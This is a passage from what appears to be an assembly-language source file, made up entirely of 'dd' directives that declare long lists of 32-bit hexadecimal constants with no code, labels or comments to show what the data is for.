0E31610h, 53242B0Ch, 0E9888C01h, 4703617Bh, 65E03679h dd 9988003h, 5DED0115h, 7F678B34h, 9622D0E9h, 0C6D82A2Eh dd 92E22D00h, 3EB8038Eh, 0B281F8A9h, 2C1205A1h, 0D71D4CBh dd 0C0AA3Bh, 859F077Fh, 0F5B7DEF6h, 0E7F0C0h, 3BD0A365h dd 6970A283h, 91A77800h, 0C4CF79DEh, 0DFA02897h, 770700A0h dd 0A3295545h, 6324C910h, 9D024E9Ch, 61A479CAh, 87614847h dd 0CC6830h, 0DE2B94E4h, 3308EDD2h, 3FD84400h, 66D19A17h dd 48B30070h, 22C9468Ch, 6401A6B6h, 0D9D3D00Fh, 9420F4BAh dd 0F9A9123Fh, 0F770A0CCh, 4E28913Dh, 0D1B04C0h, 61000ABh dd 2229A502h, 6E0BE304h, 0E8BDA7CBh, 3881261Ch, 6B00AE05h dd 76DA1C8Fh, 615052BBh, 0C816C4B8h, 64124B20h, 0C97493h dd 0BE650A11h, 9FB3D4B2h, 0AD70BD00h, 0F3302AE7h, 203A1394h dd 1140033Fh, 13F08DE6h, 76007DFBh, 6375E76Ah, 3D332Bh dd 0C7B03CA4h, 0AB8406E5h, 8B8F1C07h, 67B3018Ah, 6AA8F081h dd 92F009FEh, 10A03C60h, 498968BEh, 3FA65912h, 3ECB1000h dd 54FD9Fh, 0C2451A40h, 0A9B7A398h, 30C9F400h, 3B474A22h dd 0E09B07B8h, 0B01C60E1h, 32D70234h, 22C2E500h, 47AA54B0h dd 0FCCF0091h, 254921A2h, 645CBC57h, 3584009Ch, 6315DA24h dd 0E3791EA6h, 382AC199h, 7037E076h, 0B490A976h, 237F5100h dd 36A0B475h, 0A3C12582h, 24C7D461h, 439E2C0h, 19CA8798h dd 840056F6h, 176E09h, 3025E76Dh, 3E404555h, 95864904h dd 0B480A483h, 9F566206h, 501D98A2h, 5EDA10C0h, 9EF05954h dd 11FE7B00h, 66E92B9Dh, 0CAB70A52h, 782922h, 7F99D23Bh dd 0BB3B61C6h, 0E8C5008Eh, 0FECF59FDh, 27ED036Dh, 0D037C45Ah dd 40329AB8h, 80C99EF2h, 3AF0039Bh, 3811071Dh, 83FADCDEh dd 0CFF8FC39h, 0FDB8A205h, 81D92A39h, 0F80899Eh, 0B03C3F1Bh dd 2949A1Dh, 0AA9DBB3h, 8F027050h, 13EC5AADh, 0C938E95Bh dd 0F2B0F434h, 2D463039h, 0A724E11h, 6EE7303h, 0D0CAF708h dd 37EBC9Ch, 3B28A9B3h, 6800F9E3h, 0A2D45C64h, 87FFDBh dd 0F8C5014Dh, 30554C2Ch, 0BA0010BCh, 857A94E6h, 0BD480011h dd 0C190F666h, 137BC584h, 0F2E66201h, 7F6CD334h, 4C513870h dd 35176832h, 369209E8h, 4A0174D8h, 12E113AEh, 0F2C07A92h dd 10731Ch, 0DFB6B7D0h, 8FF8646Eh, 8B154400h, 0BC93CD3Ah dd 14F01366h, 0EC70B106h, 0D02442Ah, 9FBD09E1h, 0B24CC0B6h dd 1D9FCACh, 697C1811h, 70254586h, 4E00E5C1h, 57ADE1D1h dd 7DA16Eh, 4C11E4Bh, 5076F84h, 940068F0h, 0F8C9D696h dd 90CE90B8h, 0B78100A4h, 991459AEh, 855CF7DEh, 36FF0058h dd 0E77DCA6h, 6F4902A5h, 8104F9F8h, 26A90F40h, 71104658h dd 96796C02h, 0C04D20E1h, 2D1CBCh, 5DEADCBCh, 0F98B7C83h dd 0EB860F01h, 65F2AB60h, 3258E8h, 29AC2E17h, 506C46EFh dd 2D7EFF1Dh, 0FD16E080h, 0C33C1Dh, 9C2B7999h, 0EB7056C2h dd 482FED01h, 57D87866h, 2E9FDB20h, 1743FBCh, 0C5D410D9h dd 3BE4E4C2h, 0CDBF0E01h dd 391920B7h, 6AA4413Fh, 0CCC3D074h, 7E60F482h, 13A87598h dd 50392648h, 1740005Fh, 0EA714D21h, 0F316251Ch, 0D1631340h dd 7DD6A06h, 0D034C358h, 0FF9DA066h, 0FE287049h, 6700CCF8h dd 0C1B6DF16h, 27CE2Bh, 0F9261A7h, 6C14317Bh, 5274FC26h dd 77C2A800h, 0EE38F571h, 0E26A0056h, 0B4CF25E4h, 7C48930Bh dd 5CF3071Ch, 9FF0BDA0h, 334D4C1h, 0E29C97FDh, 2DB22312h dd 7D19C47Eh, 0DC70CCE0h, 51330341h, 0E727F40h, 0D983368Bh dd 78603A8Ah, 0DF0E15D0h, 60A5F51Ch, 0E7C4772Fh, 0D7850BAFh dd 1502BB50h, 5F416340h, 3642D3Bh, 87654819h, 1CFAAD2Eh dd 866747B7h, 0D522A02Ah, 0D00058BBh, 4682C91Ah, 0E09F9614h dd 65D302E1h, 0BAD4D918h, 56A424C8h, 5746D00h, 0E6693BB4h dd 0B34700C9h, 3923156Eh, 0CA3AA071h, 7D03098Eh, 0E71F00F8h dd 0D692F22Bh, 3D210080h, 16B89F14h, 0CABCE900h, 6EC94A8Dh dd 71B33DA9h, 1896C380h, 0A6268868h, 22010EFAh, 412E97E9h dd 0E4C0EA6Bh, 0BA8D006Fh, 9CC6C5CAh, 0B40EAA03h, 63BC795Bh dd 4EA5A9C1h, 6E108099h, 130006BEh, 430E1EFDh, 0FBD864h dd 0DCD042F4h, 3D56BD5Bh, 1D5E3703h, 89E136D4h, 57C44A99h dd 3A670932h, 77123Fh, 0D36DCD23h, 0B6BD00BAh, 9769A12Ah dd 671D9C02h, 0DC0ADACh, 0CAEA03A0h, 5038C066h, 6579E5EDh dd 0FAB14B1Eh, 80BFF80Eh, 2084D15h, 63100087h, 78905317h dd 60BCAF33h, 3B58CA04h, 0E80CC4C3h, 48B037Dh, 1396CBE5h dd 78A4A0CFh, 0C8003DB0h, 0E2293BEEh, 13A0CB1Dh, 40D2A39Eh dd 490D1C9Ch, 241C4060h, 6E44CC34h, 98A44C85h, 25EF008Dh dd 7D9FA288h, 0A100F5B0h, 0C7AC0568h, 0EA72CB8h, 0AFC5F363h dd 0CE284C4Ch, 0F8707807h, 49C009D4h, 0CB3F33h, 0FBE24E5Ch dd 0C274B63Bh, 68009C71h, 0C0BC8145h, 0CAEB18h, 0BA96380Eh dd 6717B764h, 0FD65D500h, 0DF47552Ch, 97760F34h, 0D1C0CE2Ah dd 4BC295E3h, 0D0677900h, 0A04C787h, 0AEE600E1h, 0FBF24664h dd 9D0081F9h, 96EBEEB7h, 0AC4020h, 8ADC5CC4h, 1DB89C7Eh dd 16DE761Eh, 5F4C2027h, 45A79Dh, 854DBEDCh, 531BFF23h dd 3E5868B0h, 6AE51785h, 0CA47D820h, 63B70021h, 0B89D1864h dd 0CF3D717Ah, 40D05B9Ah, 4EB40C9h, 55AB407h, 0E15480EEh dd 0AA172543h, 0B0003081h, 0FF26DEE6h, 0DC5850DAh, 0E4900721h dd 283C2AFCh, 0D7A8B300h, 1C3C13Fh, 5F9D33D1h, 2E8BE791h dd 89C1EC27h, 45608072h, 7769004Fh, 0F5D15A2h, 6C78DDDBh dd 0C72F8E17h, 0EF564A0h, 0FFC0F7D3h, 0E4A592C0h, 0FC00AB07h dd 0D4C31C2Bh, 0F6583713h, 4D0F0316h, 0B0454B42h, 995BE2F0h dd 73DA2A03h, 0B8EC8901h, 2E493A1Dh, 14A038h, 0EF9AEA2h dd 874BC79Eh, 0B70D2480h, 0A3FD03F2h, 6B535E15h, 73407CEAh dd 562CB631h, 3F009CC1h, 0D31E2F40h, 9C69074Eh, 0F5FBD96Fh dd 3DD4BC44h, 98BB0019h, 0F659BE81h, 0D0312E52h, 0C0221FE0h dd 0C2019637h, 0E00B76Dh, 8652C71h, 13D79061h, 80C092B5h dd 6DA9AF80h, 94ECDB00h, 76A26073h, 1E40BF3Fh, 3000418Bh dd 8EB825A7h, 1FB9838h, 408506E9h, 20D80213h, 0EB00E034h dd 823CD19Fh, 4B8DEA09h, 100C0089h, 525D0A83h, 0B91F5EECh dd 79C159C9h, 1E770433h, 26F3CC40h, 0BABD3080h, 977BA911h dd 48DFC200h, 0C9366602h, 63D726F7h, 0B09800FAh, 0EEFDE344h dd 0EA9B900Bh, 6CA04807h, 0ADCE0983h, 400F8E12h, 6AF8A760h dd 72B08CFBh, 4B293803h, 0A1A49AC9h, 1F701B87h, 0B4B9078Fh dd 100D955Eh, 668B0588h, 9FC50602h, 80D0A7F3h, 855E67B0h dd 61AC0073h, 6A056677h, 0C803AEB2h, 76524F87h, 1D9286A9h dd 0F851DAh, 1964A6B0h, 4A004D43h, 83CBB98Bh, 250970h dd 66D2BB01h, 573C24E8h, 52278600h, 91A3AAF0h, 48F90EBEh dd 7C204C25h, 1C80B04Eh, 959E21C1h, 49B87FDFh, 50984F81h dd 80533C61h, 7368BE20h, 7AF922D4h, 0AD5F07E8h, 6075E960h dd 30019D95h, 0A54C73F8h, 7ACD0078h, 69BCB489h, 0AFC30098h dd 949C714Ch, 0EE003BC4h, 3589E02h, 72FC7D4h, 5701EA27h dd 3BF99040h, 0D2009916h, 3EB57665h, 2A43E0h, 9EBFEB8Bh dd 7309790Fh, 3800254Ah, 0D5C2232Ch, 0DFC30F70h, 1818AF0Dh dd 1241A2Bh, 7808C5Eh, 0F993CCADh, 0BC8A0059h, 1DE0AEE8h dd 0A407AC08h, 9149AB18h, 0F77B6DF1h, 6028E080h, 0AA146E10h dd 21BDE3Ah, 7724191Fh, 20CCF0A4h, 3C01657Ah, 5C9CC4E4h dd 0FF01DBh, 0B140E681h, 68693560h, 47264300h, 10E7219Fh dd 0D62B00C7h, 0C69CF3ECh, 5600B4C2h, 371E8B5Dh, 0E4F2CBh dd 2ED69DC5h, 0D11ADC3Dh, 9EABFA12h, 0CE7DD880h, 0B5C10079h dd 0D47A90BAh, 0B27A0555h, 9BCFE41Eh, 0C5C0C807h, 0E8BFE653h dd 2A0436Fh, 63D03629h, 28F87D94h, 78681169h, 0D16C0078h dd 56AB4C2Ch, 0D605CC04h, 6BEA7CFCh, 98E3A040h, 37D3DB70h dd 90891222h, 0F3EA1B83h, 0C4C83F00h, 0ADCC1A14h, 0BE61C08Fh dd 9FB1C942h, 9B3EA0Eh, 5BD22036h, 0BCDC7A2Ch, 11190080h dd 12684291h, 7087070Ch, 5889BDh, 8D2D006h, 4D7925FBh dd 360801BFh, 6848446Ch, 8088866Dh, 0E8008DD1h, 0C7D0C1B4h dd 306130BFh, 0DFB9A5AEh, 0C2005CDEh, 11CC4B88h, 0D157DCh dd 9E41CE9Ch, 0F8936A1h, 7096D6FEh, 79CD0587h, 59AF6090h dd 0AC9D166Ch, 3B11000Eh, 0A583A81Ah, 0B57CD805h, 1CD0C701h dd 29403553h, 1C785DD4h, 56438016h, 0FFDF49F0h, 75D83F01h dd 90640508h, 47B3A8DBh, 0C9680038h, 2B56ADA6h, 8A18DB13h dd 5CE4CA0Fh, 0E0E20134h, 2446B4Ch, 0D8822A2Eh, 9E10F454h dd 183C014Ah, 0C8535162h, 0C002080h, 41EFD4E6h, 1C6EE3h dd 0CE0E4B30h, 0DE54B74Ch, 59D53100h, 6AEC5291h, 0E6420036h dd 47464A56h, 2D003057h, 3911CE1Dh, 7D05DEE8h, 9FC91E16h dd 31020068h, 3037F0C4h, 12278E02h, 0A1B4FBDBh, 0DEFEFF84h dd 8FD49475h, 409A12EDh, 0D52C4012h, 0FE5FBD1h, 6C6D922Eh dd 7153A01h, 4198D967h, 36E8D8AEh, 0A4E02654h, 3E1771Dh dd 90809781h, 0DD70A2BDh, 1E601F47h, 51D83F2h, 0F7A0A5AFh dd 8500FF55h, 0BA636E0Fh, 5F70D0h, 0ECF97695h, 0FEE67E17h dd 664B1600h, 0E4948839h, 0EFFF1D52h, 33F1402Ch, 0F57B07D4h dd 61120D00h, 0E05CDD37h, 0AE910763h, 20CAB9C6h, 0FA52A221h dd 0A90E8C96h, 0EB3FA0BFh, 985AEB3h, 0E980FEB8h, 7004AC87h dd 197DCACFh, 5400F17Bh, 0B5709995h, 33AC48h, 1E75D9Bh dd 3F18D285h, 0D7677500h, 1A50B578h, 0DB403DFEh, 0F91FFD07h dd 0CF13F061h, 809056BFh, 3917E27Ah, 34B006B2h, 0EDE3002Fh dd 83F5A95h, 140040ECh, 2663DC97h, 0E6FA3D24h, 0C52E008Dh dd 9F287C77h, 0BAEA6251h, 0A9606502h, 0E323ED2Dh, 0AB53899Ch dd 2A3CB87Dh, 0ACF90293h, 376200ABh, 0C59E401Fh, 3E52C13h dd 0B98A00D4h, 0AD97B3B6h, 0F00B4401h, 43273099h, 0A18ED4h dd 10E487E3h, 6B747EFAh, 0D3C0A003h, 0FBD3E21h, 0DA8CE748h dd 0BF90CF20h, 51001A98h, 0A4F47E7Fh, 0C4849Ch, 0D499127Ah dd 74E12A1Eh, 20187949h, 0F64C0488h, 0A8BFDF0Ch, 7C405574h dd 0EE80474h, 1482722Ch, 1D8F8DBh, 0B49C64E9h, 0FC75777Eh dd 1613A0DDh, 2CF08786h, 102EA26h, 32039EC0h, 0AC96F627h dd 2E005711h, 3C94B92Ah, 7021FA9Ch, 0E2EF0735h, 0F75BC7FEh dd 0D4C42175h, 0CB91C817h dd 999F9500h, 1BA49CB6h, 9A2C00EEh, 8065AADEh, 5E00AB82h dd 3E58C3EAh, 44A06FDh, 7B49213h, 939C883Dh, 0D7810805h dd 38948E05h, 62D9B501h, 0C730CDFDh, 7B9B00D1h, 0A51D4D15h dd 6E03CF2Dh, 0ECB99F6Dh, 0DC70E10Ch, 28FAA860h, 0EC3F1Dh dd 0DB5FC633h, 1AA695F1h, 6BDE6A01h, 0FF5437A8h, 0F98003Bh dd 0D0D204CEh, 758E53Ah, 0CCC22FBBh, 0B5AF18D0h, 2B232C5Eh dd 16910588h, 55BC41D2h, 666C8D07h, 139CC090h, 94944A50h dd 0DACCC168h, 30FC2449h, 66FCDB00h, 0F1B23F6h, 7FB500C3h dd 122A445Eh, 2B2402E4h, 4C26976Ch, 0DEAEE100h, 0CC9361h dd 6976A33Dh, 2E286BCEh, 0D10E6431h, 788B1488h, 0FC411E4Bh dd 53406483h, 1D9F720Dh, 1FC0B188h, 6359818Bh, 52021344h dd 70C1F834h, 0F9F81BF4h, 0F43DE09Eh, 6DE9024Eh, 76A5F60Ch dd 985C0FBh, 0C11BE7E5h, 0A7E081F1h, 957BF830h, 2E01C4C8h dd 327F5501h, 0B81566CAh, 202C3468h, 0E431E0C8h, 6CB044EEh dd 0CB725600h, 3E45A79Eh, 145E0310h, 0B9EBDC2Ah, 362FB116h dd 3053502Ch, 57818149h, 4E05776Fh, 862B36DEh, 33048440h dd 95AE56DFh, 647598E9h, 0DB1C5BBCh, 0CC3E73Fh, 7041D1C5h dd 20B7999h, 7630985Dh, 0A8C42D48h, 73A1E900h, 0E31DB02Ch dd 299B126Ah, 2D16AC02h, 5BC88113h, 64207CA4h, 1C4460D9h dd 92BCEBC3h, 0B6D6BB1Dh, 4C8C00F9h, 65E63369h, 119F60B3h dd 7A5E5B7Bh, 0BB9E3Bh, 3447F61Ch, 0B088C6h, 905F5CBEh dd 6F72F3FCh, 48FF9F1Ah, 3251C1A8h, 2460870h, 2D2F1FFBh dd 0E470DB9Bh, 383D4B19h, 43C017D9h, 0A7C82FB9h, 6C299CC0h dd 87D57500h, 4E7C2285h, 5A7A3A4Fh, 61DD4284h, 50B86Eh dd 5EB39167h, 34B976h, 63A11FB8h, 0FD82E7F1h, 4E0A4D0Bh dd 26B84017h, 0C7C039A9h, 56C89900h, 0B420EFEDh, 69428E00h dd 3AECA1F1h, 38D00E4h, 7808FA13h, 1BFC4F93h, 0E7064900h dd 358F11D9h, 0AF3D03D3h, 0C2DDCEC9h, 5CB97098h, 0FC000BFAh dd 50A02EAEh, 646C48h, 6AE05BC4h, 310313AFh, 3E079598h dd 0BCAC6BC1h, 7C5FD3B0h, 63591282h, 0D140B00Fh, 81F06A38h dd 92352AA3h, 0C6406FF2h, 1C3460DEh, 0C394DB36h, 0BDB2DD20h dd 4BA11C80h, 7B08021Ch, 0D5517440h, 13461215h, 0C59277h dd 55798AD0h, 0FF00B368h, 0C6D120A9h, 0EDBE3ECh, 45BF95B2h dd 17BBBE63h, 0ABA03900h, 0A216DC5Fh, 826102EBh, 5B4FFC22h dd 49925440h, 6400249Eh, 0B3A00D67h, 867A7Dh, 0F05C178Fh dd 0F34D26A4h, 0AC93B600h, 9DFCF449h, 0C1C75A54h, 0D4D1E148h dd 0F01F350Ah, 27963E38h, 0E31A9007h, 0C0415923h, 0F79F542h dd 8BC69894h, 20481E47h, 40299AF3h, 0CF997A03h, 0D0028687h dd 71A466E6h, 0D6A0FA8h, 0F65FB3h, 195EE589h, 0B8C0167Bh dd 86113B5h, 0A48C00EBh, 1E726B54h, 0CD0F4D60h, 6952DC38h dd 3AE023BAh, 326B9012h, 0A86E5C30h, 0BC1CF512h, 2F0201A4h dd 44C092B9h, 20D8002Ah, 0C89E8FA7h, 145B8624h, 0F1B60E00h dd 0BB4B12Ch, 1A747FE4h, 71E1688Eh, 0F5AFC59Bh, 0DA5C60F7h dd 0BE26E7FCh, 3900147Ah, 0D10F931Ch, 3A7D7B7Fh, 6393C2D5h dd 0E474014Fh, 0CFB88A77h, 14BB1101h, 4E9F4447h, 0E8340800h dd 1B0074F8h, 0AE4F262Fh, 981DE05Fh, 9F380048h, 0DF72E527h dd 0E8000860h, 0C1AF8487h, 713B1C96h, 0F6E20095h, 0C76E5035h dd 0CD024691h, 0AE85C46Ah, 0ECF8800Bh, 373565h, 40E8F41h dd 782E9CAFh, 38E3D72Eh, 30465E00h, 2C07ECCh, 0D050CBA1h dd 0BC807A0Dh, 679C89DEh, 979A98h, 3B8EF264h, 69AD00A9h dd 2DBAB00Eh, 5192C90h, 0C5F0BF9Dh, 9765DD4h, 85617237h dd 0A959A300h, 0C3FA786Bh, 0B9CABB13h, 53892440h, 993BA52h dd 544CC594h, 107ED8B1h, 0EC6A67A8h, 581DEC52h, 0C5025C2Dh dd 2A88664Fh, 3415BFE1h, 0B70F8DC0h, 60EB4E47h, 4A1A7358h dd 2C352657h, 0E2AD01E0h, 0E15A4CFBh, 0BC80BCDAh, 51EC0060h dd 95AFF91Ch, 189F7541h, 0F061DAFEh, 0BDB8EF5Dh, 80B17D78h dd 1E749D00h, 0C9E2980h, 6D53CFC4h, 6B00DF5Eh, 0C519698Dh dd 31168Ch, 253F618Fh, 0BD01CD35h, 2FFCD1C1h, 5C24DA85h dd 0BB4D2A1Eh, 513E0288h, 0B968E18Bh, 3C807642h, 0FB5F8158h dd 1860C2F6h, 6E647C8h, 5237349h, 8C0F3442h, 93D04254h dd 34C808B4h, 317866Fh, 6173A2h, 0F1293F9h, 0E680A0D3h dd 6F80E289h, 1DDB0167h, 6EB2833h, 0B6076AFh, 7670B1Ch dd 609F76E8h, 0CE3F75CDh, 0B024ECAh, 901C7F84h, 0EE1DD02h dd 2047CB9Fh, 51A9F70Ah, 81CDB70Ch, 3884Ah, 29E2C4B9h dd 60E78A5Dh, 0A2C01CB9h, 7F179CCh, 6FCE29EBh, 54727995h dd 50315Dh, 34A7BF77h, 0FE4053FDh, 270A12A5h, 2478B43Fh dd 71BABD48h, 7B23FC1Fh, 657C1DC1h, 0E881A940h, 4BC90DCAh dd 84407FECh, 4D14F920h, 0EAB87465h, 0E1570140h, 42C24F7Eh dd 0FC08CD50h, 52264769h, 1700B432h, 8F844EAAh, 623F275Dh dd 86694840h, 60901448h, 217D4D10h, 9FAD00FFh, 25C2C143h dd 48267B2Dh, 0ED00E30Fh, 0C860F867h, 470800DEh, 0CE11D868h dd 0F2EA5F5h, 5080E80Bh, 36C4DF70h, 0B64906B2h, 603105AAh dd 273C8459h, 324814B5h, 0B7418EAFh, 2C073CE6h, 414D182Eh dd 46204970h, 0AFAB009Fh, 0C23BF9E1h, 0A7458CAh, 0CB39BB00h dd 94F6A7B9h, 0D1A300ACh, 17ECA2BAh, 4B001A62h, 5CE311AEh dd 3C6C7F84h, 631F53DEh, 72F7005Bh, 2BDC7C54h, 0D4735F00h dd 3FF5E030h, 0D7FC00D8h, 0F39403DFh, 5EB02F7Ch, 8858241Dh dd 147ADEC2h, 0D6D761BCh, 8EA0C02Eh, 4500944Ah, 837ECD77h dd 44C615h, 4C9F1AACh, 9539E260h, 0A4E0FA4Ah, 4B280E49h dd 5EA30BDDh, 77B978EAh, 0F7C2041h, 0E068192Fh, 2A2CBA8h dd 0A89F5DF1h, 0BCC8B0DCh, 0D75AADCFh, 0AE01E0D1h, 0B8B34BF8h dd 0FACE00BCh, 3BC30ECDh, 0D500D409h, 11777AD0h, 0FEC48CAh dd 0AF73426h, 0FB5DFCC0h, 5A0985E8h, 6A717Fh, 62939840h dd 786500F8h, 0D1F5044h, 7E2C195Fh, 2BB8877h, 0C827A6F6h dd 0C4644051h, 0F4039F49h, 9380FBD9h, 6E00DFCEh, 4CDC3C10h dd 0C0413450h, 0DA192DE8h, 0BE000F11h, 3692DFE4h, 4DCEDB0Eh dd 463C4C77h, 0F94C4580h, 97BCE00Dh, 0F7580E13h, 0E67E5440h dd 5C2F1175h, 0D6018B4Dh, 8D9AFAD4h, 180D6A29h, 3F603Ch dd 0FD6BB318h, 8F3A90F8h, 589E2CB4h, 4F8BF140h, 79167244h dd 81710BCBh, 0DC83EDEFh, 32E0A57Ah, 310CF5E1h, 10B73DBCh dd 2D7E0020h, 9B491C45h, 1700ED60h, 973B4A52h, 1C6F3C37h dd 80282099h, 64A1D38Ah, 0C31CB001h, 6ED8CA9Ch, 4F8EB0h dd 0F85107CBh, 5EBB906Ah, 1137DB33h, 6825F0C0h, 0ABD000B2h dd 0EE3F345Dh, 840904E2h, 9DBBB0h, 0EF7D5914h, 4E2F0092h dd 47AA6DABh, 37003E26h, 67E10680h, 2BBACD7h, 8260D0AEh dd 44C3AFB8h, 85EDBFB0h, 3C615E48h, 80E1BDF5h, 828C18E8h dd 24FA08h, 0C4C057Ah, 2077F50Fh, 72D9A300h, 6B1FBCCCh dd 0A41C4BC1h, 87006904h, 0A8AC7D2Bh, 998A3Eh, 0A060D7ABh dd 7B8EFCFh, 9F0098B8h, 0FE11C2EAh, 7C087Eh, 651F75D1h dd 4D380DEFh, 460248E2h, 0EB7D8E61h, 6E6040B5h, 403BE55Ah dd 0EFE828BCh, 6612D631h, 44BCE90h, 0A0EC8F36h, 410EF844h dd 0FDCF02D7h, 1A2ADBE3h, 0B80EC68h, 76F21309h, 24D081h dd 7B54B186h, 9022605Dh dd 0CFE1500h, 0A551C27Fh, 59EE00E5h, 0D95DA011h, 0BE17676Ch dd 6040931Fh, 0F4A3FFD1h, 0B6210033h, 4F244101h, 485A27D9h dd 2518A4C8h, 0AC784A63h, 89048000h, 66ED97EEh, 0D5AF00A6h dd 0C9BDBFC4h, 8FFF1505h, 0A0E286F1h, 1391CA0Eh, 3C9234h dd 1C8277D6h, 0A827B2E0h, 0C496F67Dh, 8B8C0100h, 0F4F5C7h dd 6267C1B8h, 17BBD6EBh, 6AFAA400h, 0AB2470A0h, 875B5h dd 82498056h, 95C352FDh, 8FCC0B09h, 0B9B80099h, 0F905D66h dd 0E774BDA0h, 1E4D5CDEh, 0D22780F1h, 2FFD09DEh, 43D44009h dd 0FDC5413h, 9700AF24h, 822EC57Ah, 79595A3Fh, 0B6D5C71Ch dd 3300F8E6h, 756BFDA5h, 52C4029Ch, 0A1AD9770h, 5923E0A0h dd 870E7D96h, 0E0BD797Bh, 8F627E88h, 12CBE2Ah, 41BB8EB0h dd 0A287D014h, 0D11B2C00h, 69F44321h, 0A44C034Ah, 2E1E3A3Dh dd 0E40EBBC4h, 53452048h, 0E01AB2h, 0CD2F975Dh, 5878A7Ah dd 58F29300h, 74D59BA2h, 0E1BD00ABh, 0F8CEFA6Ah, 0E54802C3h dd 0FE007758h, 0CD66F5A2h, 50A3817h, 0DFBD11D9h, 0E620C0DDh dd 6A000DDCh, 0C9A9B314h, 469273h, 9D6C55A5h, 0B935D36h dd 0A79000BDh, 7C8069FEh, 71887364h, 8F61280Ah, 4E3008Eh dd 18391DAAh, 0BA2547FDh, 26645043h, 40786515h, 0E009F2D7h dd 0E9D3301Ch, 2308043Bh, 30BC70D1h, 0E78F7F01h, 0D0B94CC9h dd 0F112A528h, 8000C664h, 0D7A438E5h, 11200A08h, 0AC1F6Ch dd 35F958EEh, 0ED02E6D0h, 0C8A8C6A1h, 8C94685Dh, 0B00E00DCh dd 5E03542Fh, 9E0072B6h, 510CAEC2h, 7B75A288h, 3FA47F9Fh dd 0A500C031h, 76AC8C4h, 1C5C603Dh, 0C2F500E4h, 2B557C36h dd 0A463008Ah, 0FD3905F3h, 905D1060h, 0A3260ECCh, 0A70B005Bh dd 24C9C21Ch, 8C186C32h, 0AB71EAACh, 5F509904h, 4B00222Eh dd 0D9E03E32h, 60FC1B00h, 0AF6C6EA4h, 8F8127D2h, 0BCAC0485h dd 0AE6109C4h, 55D8685Ah, 413C0447h, 0EC1BB233h, 17B016Ch dd 2AEC347Fh, 0B900B845h, 7E5C8EDBh, 655B03B4h, 0FC12F319h dd 0A37F4290h, 27DC39h, 49D167CFh, 9D65FC5h, 639E032Eh dd 0B6274C48h, 0C0093F30h, 7319E748h, 7D5C03FFh, 8ABF5DBAh dd 77339888h, 1532107h, 90278BF9h, 0D8CC6734h, 36590061h dd 0A254BE85h, 2507B61Bh, 676FDC97h, 0D6D712F0h, 3D3F7A7Fh dd 8500B391h, 0C12455B7h, 0F5399242h, 18B04BE5h, 80CC5B44h dd 0F163A73Ch, 80F41304h, 49AF76FEh, 0C881EDECh, 60771961h dd 7E034F30h, 67281472h, 0B3749888h, 823612A2h, 2204B8D3h dd 71841207h, 2133Fh, 0E993BE93h, 0AD0034EEh, 0CA383D9Ah dd 7D565D33h, 4C9448A5h, 9C89160Eh, 17A0A6BFh, 1E9CD0D4h dd 9A3CFD3Ah, 0DEFE8234h, 48B7974Dh, 16273D84h, 0F0EE5037h dd 8C0E95D0h, 64D2ABFDh, 0A7807943h, 0B01CD906h, 4C3700A4h dd 1B036F0Dh, 73732D2Ch, 33123094h, 6B8108B8h, 0F91A0D0Fh dd 0ED9880CFh, 9D9E5EF5h, 44AB0E23h, 7A204A2Bh, 29B29C6Ah dd 2A3288C7h, 92FAF6D0h, 0C47F504Fh, 0D5F51EDFh, 65EAC0FDh dd 5EC7BCA7h, 1406AD00h, 0B176AB10h, 0FC90AEh, 33C13C93h dd 0E226C381h, 506A1D00h, 82A494D1h, 0EA7E0030h, 24A63301h dd 0BD315DD9h, 4E3AD0FFh, 30B4006Eh, 9C3BA704h, 1503EA05h dd 58C05322h, 0B2A4721h, 0D879DF4Dh, 0AE82B840h, 48AD9200h dd 0BF4BC2F4h, 3CDB0942h, 847401CDh, 0C05CA08Eh, 0F557F31Ah dd 8508007Fh, 1CE07212h, 317E5A2Bh, 73B8E6A3h, 430F7955h dd 0E0106682h, 78247C6Bh, 3A9600B7h, 6F45CF8Eh, 0C9008F0h dd 5885511h, 692EC618h, 0CC92CD47h, 7F918212h, 9495C0D0h dd 0EE9C0120h, 3D0CAFB1h, 0D9B5E897h, 5000F9E4h, 0A0FFAE14h dd 308D5E01h, 0FE38EF7Bh, 1E009491h, 60C64ACDh, 2EAC66E5h dd 2C56EDFh, 8323BBBEh, 8E05A080h, 8924B453h, 0AD040828h dd 6600939Dh, 0C597E503h, 3016E626h, 9CD16301h, 0C83AD3A1h dd 0A360B7F8h, 4F201F58h, 1EC73BDh, 32F0E569h, 0E8333719h dd 0EA25BCA6h, 0CB400068h, 6C830F9h, 8A4F4A0Ah, 0D0D8873h dd 417B083Fh, 0E4C4802Fh, 833BEFABh, 71A50Fh, 0F4A5EDB0h dd 28D86063h, 418D39E6h, 80E1FF25h, 54F11D9Ch, 0DD3A00D7h dd 7F91767h, 0E8C0197Eh, 0CEE07DFEh, 0D0180093h, 776503E5h dd 0C9099B01h, 9EE5CFBh, 0C5D682A0h, 1DB86482h, 7837152h dd 0F2057A2Ch, 0D4404D17h, 0E3E59086h, 70E4881Fh, 1C835600h dd 26F7768h, 3C9AE70Fh, 0AC8243F1h, 9E20FFA5h, 9DA3A1h dd 5E06317Ah, 2A1F7BFDh, 49598A73h, 0B8D82848h, 805B489Ah dd 476EC20h, 78AEA20h, 0A8038968h, 0B790E08Fh, 606080CFh dd 0E95BF8C0h, 7BEE8446h, 520022FCh, 84F974FBh, 0FAE831E4h dd 0E09805F0h, 0C07EF2D0h, 0FAAC7324h, 0D8CC540Fh, 0B1C3A011h dd 61CBA7h, 4DB7BB90h, 0B6296B64h, 0B8A0766Fh, 6E4628h dd 17127177h, 10E45A37h, 2435C207h, 34204853h, 28F6075h dd 150AD973h, 0C2E0A207h, 0DE00C0A7h, 0BF94550Bh, 8FB4D7h dd 3374C849h, 0E60C4D47h, 0B75BDB00h, 0E86DD651h, 6A7B0505h dd 803FC590h, 1BEA2863h, 86C8A0BFh, 4C0926Eh, 11FA604Ch dd 0A449BAADh, 8324DE21h, 51120670h, 0B8291FB8h, 81379700h dd 67D4B2C0h, 0C99A0093h, 34D0C6C5h, 0E74A5D99h, 3DD5D4C8h dd 0B5800D6Fh, 4CAAB3C4h, 32173669h, 380F0EA6h, 0E4560114h dd 51F5DB3Fh, 6F02EC2Dh, 231DE0AFh, 803864F6h, 3E0A0F78h dd 0DA37D9h, 405602E4h, 0FDC79903h, 68C0515Eh, 2C0C8D3h dd 0A1127B97h, 0BCC8684Bh, 0B305EC82h, 98253FB9h, 56B81000h dd 13E6F186h, 0E467372Ch, 412E3234h, 9C00D7E1h, 0B9DAB692h dd 3980FBA8h, 0F457F7AEh, 783E6ED6h, 0F028013h, 3F154EB8h dd 3D1200E5h, 0D6F7D036h, 9B03AC60h, 577B7F7Eh, 87F4C8BBh dd 0D450013Ch, 